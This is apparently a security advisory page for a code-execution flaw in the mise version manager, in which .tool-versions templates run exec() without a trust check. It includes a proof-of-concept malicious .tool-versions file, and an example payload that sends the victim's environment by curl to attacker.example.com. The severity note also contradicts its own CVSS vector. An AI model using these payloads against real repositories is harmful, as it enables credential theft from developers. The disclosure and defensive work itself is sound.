Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Delivery requires a local file the user fetches and a `cd` action (AV:L, UI:R); no auth needed (PR:N); execution stays within the victim's user context, so S:U; full C/I/A impact on that user.
Primary rating from Vendor (https://github.com/jdx/mise).
CVSS VectorVendor: https://github.com/jdx/mise
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.
Vulnerability Details
Vulnerable Code
File: src/config/config_file/tool_versions.rs, lines 60-63
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check
// ...
}File: src/tera.rs, lines 385-391
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.
File: src/config/config_file/mod.rs, lines 272-287
pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
if let Ok(settings) = Settings::try_get()
&& settings.paranoid
{
trust_check(path)?; // Only in paranoid mode!
}
match detect_config_file_type(path).await {
// ...
Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
// ...
}
}Attack Vector
- An attacker creates a
.tool-versionsfile in a git repository containing Tera template syntax with theexec()function. - The victim clones the repository and has mise activated in their shell (via
eval "$(mise activate zsh)"or equivalent). - When the victim
cds into the repository directory, mise's shell hook (hook-env) fires automatically. hook-envloads and parses config files, including.tool-versions.- During parsing,
ToolVersions::parse_strprocesses the file content throughget_tera(dir).render_str(). - The Tera engine evaluates
{{ exec(command="...") }}, executing arbitrary commands as the victim's user. - No trust prompt is displayed because
trust_checkis not called for.tool-versionsfiles in non-paranoid mode.
Execution Context
- Commands execute as the current user with full access to their environment.
- The pristine environment (
env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.). - Execution happens silently during the prompt hook -- the user sees no indication that code was run.
Contrast with .mise.toml
.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.
Steps to Reproduce
Prerequisites
- mise installed (
brew install miseor equivalent) - Shell activation enabled:
eval "$(mise activate zsh)"(or bash/fish) - Default settings (paranoid mode NOT enabled - this is the default)
PoC: Silent RCE on cd
Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:
mkdir -p /tmp/poc-mise-repo
cd /tmp/poc-mise-repo
git init
cat > .tool-versions << 'EOF'
{{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
python 3.11.0
EOF
git add -A && git commit -m "Initial commit"Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout - the exec() returns an empty string, making the line evaluate to node 20.0.0.
Step 2: In a new shell with mise activated, enter the directory:
eval "$(mise activate zsh)"
cd /tmp/poc-mise-repoStep 3: Verify arbitrary code execution:
cat /tmp/mise-rce-proofExpected output:
uid=501(youruser) gid=20(staff) groups=20(staff),...
SUCCESS=youruser
Mon Mar 16 21:34:46 IST 2026No trust prompt, no warning, no error output. The id command executed silently as the current user.
Validated Test Results
Tested on 2026-03-16 with:
- mise 2026.3.9 macos-arm64
- macOS Darwin 24.5.0 arm64
- zsh 5.9
- Paranoid mode:
false(default)
Test 1 - .tool-versions (no trust check):
$ rm -f /tmp/mise-rce-proof
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
/tmp/poc-mise-repo
$ cat /tmp/mise-rce-proof
uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
SUCCESS=golan
Mon Mar 16 21:34:46 IST 2026Command executed silently. No trust prompt. No errors.
Test 2 - .mise.toml with same payload (trust check blocks execution):
$ mkdir -p /tmp/poc-mise-toml
$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
[tools]
node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
TOMLEOF
$ rm -f /tmp/mise-hook-pwned
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
$ cat /tmp/mise-hook-pwned
cat: /tmp/mise-hook-pwned: No such file or directory.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.
Alternative PoC (data exfiltration)
{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0Impact
- Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious
.tool-versionsfile. - Supply chain attack vector:
.tool-versionsis a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content. - Silent execution: No trust prompt, warning, or user interaction required.
- Full user privilege escalation: Commands run with the full privileges and environment of the current user.
- Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
- Widespread potential impact: Any open-source project with a
.tool-versionsfile could be targeted. A malicious PR adding tera syntax to an existing.tool-versionsfile could execute code on all reviewers' machines.
Suggested Fix
Option 1: Add trust_check to .tool-versions parsing (recommended)
// In src/config/config_file/tool_versions.rs
pub fn from_file(path: &Path) -> Result<Self> {
trace!("parsing tool-versions: {}", path.display());
Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
}
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
// Only use tera if the file contains template syntax AND is trusted
let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
trust_check(&path)?;
get_tera(dir).render_str(s, &cf.context)?
} else {
s.to_string()
};
// ...
}Option 2: Remove exec() from .tool-versions tera context
Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.
Option 3: Remove tera processing from .tool-versions entirely
.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.
Articles & Coverage 2
AnalysisAI
Arbitrary code execution in mise (jdx/mise) versions prior to 2026.3.10 allows attackers to run shell commands as the victim user simply by having them cd into a directory containing a malicious .tool-versions file. Unlike .mise.toml, .tool-versions files bypass the trust verification gate in non-paranoid mode, so the Tera template engine's exec() function fires silently from the shell hook-env. No public exploit identified at time of analysis beyond the detailed reporter PoC, but exploitation is trivial and a working PoC is embedded in the advisory.
Technical ContextAI
mise is a Rust-based polyglot runtime/version manager (successor to rtx, asdf-compatible) that resolves tool versions per-directory via shell hooks. During hook-env, src/config/config_file/tool_versions.rs::parse_str passes file contents through get_tera(dir).render_str() in src/tera.rs, which registers an exec function that invokes a shell with the user's PRISTINE_ENV. The trust gate in src/config/config_file/mod.rs only invokes trust_check(path) when settings.paranoid is true, so .tool-versions is parsed (and templates rendered) without authorization. The root cause is a CWE-94 / CWE-1188 class issue - code injection via an unsafe default that treats untrusted template input as trusted, inconsistent with the protection applied to .mise.toml. Affected package per CPE is pkg:rust/mise.
RemediationAI
Vendor-released patch: upgrade mise to 2026.3.10 or later (e.g., mise self-update or brew upgrade mise), per the GHSA-fjj5-v948-whjj advisory at https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj. If immediate upgrade is not possible, enable paranoid mode (mise settings set paranoid true) so that trust_check runs against .tool-versions as it does for .mise.toml; the trade-off is that every config file will prompt for trust on first use, adding friction to legitimate workflows. As a stronger interim control, disable shell activation (remove eval "$(mise activate ...)" from shell rc files) so hook-env does not fire on cd - this prevents drive-by execution but removes auto-switching of tool versions. Avoid cd-ing into freshly cloned or unreviewed repositories until patched, and audit existing .tool-versions files in your repos for Tera syntax ({{, {%, {#).
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39816
GHSA-fjj5-v948-whjj